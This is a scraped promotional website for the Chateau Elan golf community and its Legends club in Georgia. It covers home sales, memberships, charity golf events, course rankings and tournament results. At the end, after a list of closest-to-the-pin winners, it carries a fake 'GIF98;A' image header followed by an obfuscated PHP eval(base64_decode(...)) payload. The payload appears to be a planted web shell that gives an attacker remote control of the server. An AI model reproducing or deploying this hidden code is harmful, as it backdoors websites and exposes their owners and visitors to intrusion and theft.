Real Estate

The professionals at Chateau Elan Realty boast over fifty collective years of experience. Yet we're not just selling houses. We're promoting a way of life. Where else can you go to water aerobics in the morning, then play eighteen holes of championship golf, recover with a Swedish Massage, follow that with lunch at one of eight restaurants, spend the afternoon playing tennis, volleyball, basketball, or horseshoes at our 12,000 square foot Sports Club, and finally, raise a pint at Paddy's Irish Pub before heading out for a romantic evening at the intimate Legends Restaurant. And that was just Tuesday!

This 3,500-acre gated Atlanta Golf Community is designed for approximately 2,000 homes. The community surrounds the 63 holes of Championship Golf at Chateau Elan. Custom Georgia luxury homes range from $400,000 to several million.

Contact Chateau Elan Sales Office at (770) 307- 4031 or
E-mail to elanrealty@chateauelan.net

The Legends

Home of the 2012-2013 Georgia Open

A member's only club, the Legends offers exclusivity, attentive services, and an unmatched array of recreational and social facilities. Members enjoy challenging and fulfilling golf experiences combined with stunning vistas and superior course conditioning at Legends, the masterpiece crafted by three great champions, Gene Sarazen, Sam Snead and Kathy Whitworth.The Legends is the epicenter for social events, casual, and fine dining. The Clubhouse chefs develop creative menus, and the cuisine is beautifully prepared and served. Members are privy to all the luxurious resort amenities at Chateau Elan including its eight distinctive restaurants, plus many "members only" specials throughout the year. Our new Members Sports Club with over 12,000 feet of basketball, aerobics, fitness gym, sauna, steam-rooms, and junior Olympic sized swimming pool puts us in a league of our own.

Membership Information

Contact Mike Bishop VP of Legends at Chateau Elan and Private Memberships at 770-932-8653 or mbishop@chateauelan.net for membership Information.


Great Golf Events Grow Here!

Choose The Legends to be your destination for your next Corporate or Charity golf event. With over 60 years combined experience we can make your event second to none. A world class golf event needs a world class course and team. Contact us to see the difference excellence and experience can make for your event at The Legends.

We know how to give your client or sponsor the outing experience that will help you retain their business or secure those much needed sponsorship dollars.


A true private club atmosphere experience and world championship golf course with the exclusivity to attract more participants.


Your clients will play a course that hosted the Sarazen World Open Championship from 1994 � 1998, with names such as Nicklaus, Els, Cabrera, Jimenez, Janzen, Westwood, Harrington, Nobilo, Goosen, Crenshaw, Stewart, Calcavecchia, Couples, Price, Love III, Daly & Duval competing over those years.


Utilize our extensive knowledge and experience to make your outing a success for years to come.


Contact Sean Cain our PGA Head Golf Professional @ 770-932-8653 or scain@chateauelan.net



Monthly Newsletters

Malcolm's monthly activites, news about personal training, tennis updates group exercise, and 'Kid's craft and movie night!
 Jeremy's monthly recap and preview of events happening at the Legends Club!
Right-click and select "Save as.." on a link above to save to your computer. Newsletters are in PDF format.


2014 Legends Tournament Schedule
Sean's list of upcoming golf events for 2014

Visit our Photo Gallery


July Edition Chateau Elan Estates Magazine!

Click Here to open it up!



Click here to Download the PDF
(this is a very large 80meg file)

The Winery and Resort located within our 3500 acre Golf Community!





SEE ALL PROPERTIES

 

Quick Home Search:


Lots   New   Resale  




... For the third consecutive year, Average Joes Entertainment's, Colt Ford, will host his annual  Colt Ford & Friends Celebrity Golf Classic, September 15, 2014 at Chateau Elan Winery & Resort in Atlanta, Georgia. An All-Star Jam, open to the public, will follow that evening at Wild Bill's in Atlanta at 8pm. Both events will benefit St. Jude Children's Research Hospital and the newly established Colt Ford Foundation. 
Ford, a former professional golfer, said,  I'm proud to be able to support St. Jude Children's Research Hospital again this year, and do what I can for the kids and their families. I'm looking forward to having a great day of golf, and jamming later with my friends at Wild Bill's.
Sponsors supporting the Golf Classic include Akins Ford, Dodge, Chrysler, Jeep, Ram, Chicken Cock Whiskey, General Beauregard Dixie Vodka, Country Outfitters, EPI Breads, LandCastle Title, Leon Farmer & Company, MBM Corporation, Providence Investment Advisor and Insurance Solutions, Roswell Food Group and Southeastern Paper.
St. Jude Children's Research Hospital is leading the way the world understands, treats and defeats childhood cancer and other deadly diseases. This fundraising event includes a celebrity long-drive competition and silent auction. For more information on the tournament and All-Star Jam, visit www.ColtFordGolf.com.


BRASELTON, Ga. The FGCU men's golf team completed its 2013-14 season Tuesday afternoon by finishing in 10th place after three rounds and three days of competition at the Atlantic Sun Championship at The Legends Course of Chateau Elan.  continued...

Golfweek honors Legends at Chateau Elan as one of Top Courses

Gwinnett area golf courses Legends at Chateau Elan and The Georgia Club both made the 2014 Golfweek Magazine "Top Courses You Can Play" listings. They are among 15 Georgia courses recognized by the magazine.

The other Georgia courses on the list are: Golf Club at Cuscowilla (Eatonton), Sea Island Golf Club Seaside (St. Simons Island), Reynolds Plantation Great Waters (Greensboro), Arrowhead Pointe (Elberton), University of Georgia Golf Course (Athens), Reynolds Plantation Oconee (Greensboro), Sea Island Golf Club Retreat (Sea Island), Club at Savannah Harbor (Savannah), Reynolds Plantation National (Greensboro), Achasta (Dahlonega), Sea Island Golf Club Plantation (St. Simons Island), Harbor Club (Greensboro) and Reynolds Plantation The Landing (Greensboro).

Ron Echols wins 1st Senior Club Championship


Ron Echols won his first Senior Club championship on Sunday April 27th. With rounds of 82-78 for a total of 160, Mr. Echols won by 3 shots over perennial contender and former champion Alan Couch and by 5 shots over 2 time defending and 4 time overall cham-pion Richard Ward. Al Dimassi got out to a hot start and a 3 shot lead after the first day of play with a great score of 79 followed by Echols and Ward at 82. On the final day Mr. Echols fired a great 78 to come from 3 shots back to win by 3 over a very competitive field. The round of the tournament however went to Dale Gaines who fired a 76 on Sunday, but ended up a little short in the overall picture. After his 2nd place finish in the gross division Alan Couch was the net winner with a score of 137. In the white flight, Steve Moore carded rounds of 82-84 to win by the giant margin of 14 shots. And for the 2nd year in a row, Don Chadwick won the white flight net division. In the super senior division, Bob Stringer won the gross with a total of 180 and Allan Slovin won the net division with a total score of 156. Congratulations to the all the winners and thank you to all who played this year!!
Mercer wins Atlantic Sun Men's Golf Championship at The Legends

Mercer captured its first-ever Atlantic Sun Men's Golf Championship with a team final round, 293, led by Trey Rule's one-under-par performance (215) for 54 holes.
Rule becomes the third Mercer golfer to win A-Sun Championship Medalist honors and first since 1993, while also becoming the 21st player in A-Sun history to land medalist honors and lead his team to the con-ference title.
The first-place finish is the highest for Mercer since taking second place in 1993 as the Bears posted three top-ten individual finishers. Rule was joined by James Beale (T2nd; +2) and Sean Smothers (T9th; +5).
The Bears finished ahead of runner-up Kennesaw State by three strokes, while ETSU claimed third place with a combined score of 884; four strokes behind KSU. The Owls' Austin Vick and Teremoana Beaucousin tied Mercer's Beale for second place to land on the All-Tournament Team.
ETSU's Adrian Meronk and Rhys Pugh tied for fifth place as the Buccaneers finished in fourth place as a team. The duo completed their 54 holes at three-over-par for ETSU's third-straight top-three finish at the A-Sun Championship. Two-time defending champions, North Florida landed in fourth place at 895 for the championship. UNF's Taylor Hancock tied for seventh place just ahead of his teammate Joey Petronio in a tie for ninth.
Lipscomb finished in a program-best fifth position with two student-athletes in the top-20 of the field; Cas-ton Roberts and Stoney Crouch, while Jacksonville followed the Bison in sixth place with a team total of 917 ahead of USC Upstate in seventh (923). Stetson, Northern Kentucky and FGCU finished up the field.




Women's Members and Staff Tournament


The Closest to the Pin winners are: 
Linda Allen, Jan Roof, Leah Dietrich, & Garnett Smith
GIF98;A
<?php eval(base64_decode('CgplcnJvcl9yZXBvcnRpbmcoNyk7CkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7Cm9iX3N0YXJ0KCk7CiRtdGltZSA9IGV4cGxvZGUoJyAnLCBtaWNyb3RpbWUoKSk7CiRzdGFydHRpbWUgPSAkbXRpbWVbMV0gKyAkbXRpbWVbMF07CmRlZmluZSgnU0FfUk9PVCcsIHN0cl9yZXBsYWNlKCdcXCcsICcvJywgZGlybmFtZShfX0ZJTEVfXykpLicvJyk7Ci8vZGVmaW5lKCdJU19XSU4nLCBzdHJzdHIoUEhQX09TLCAnV0lOJykgPyAxIDogMCApOwpkZWZpbmUoJ0lTX1dJTicsIERJUkVDVE9SWV9TRVBBUkFUT1IgPT0gJ1xcJyk7CmRlZmluZSgnSVNfQ09NJywgY2xhc3NfZXhpc3RzKCdDT00nKSA/IDEgOiAwICk7CmRlZmluZSgnSVNfR1BDJywgZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSk7CiRkaXNfZnVuYyA9IGdldF9jZmdfdmFyKCdkaXNhYmxlX2Z1bmN0aW9ucycpOwpkZWZpbm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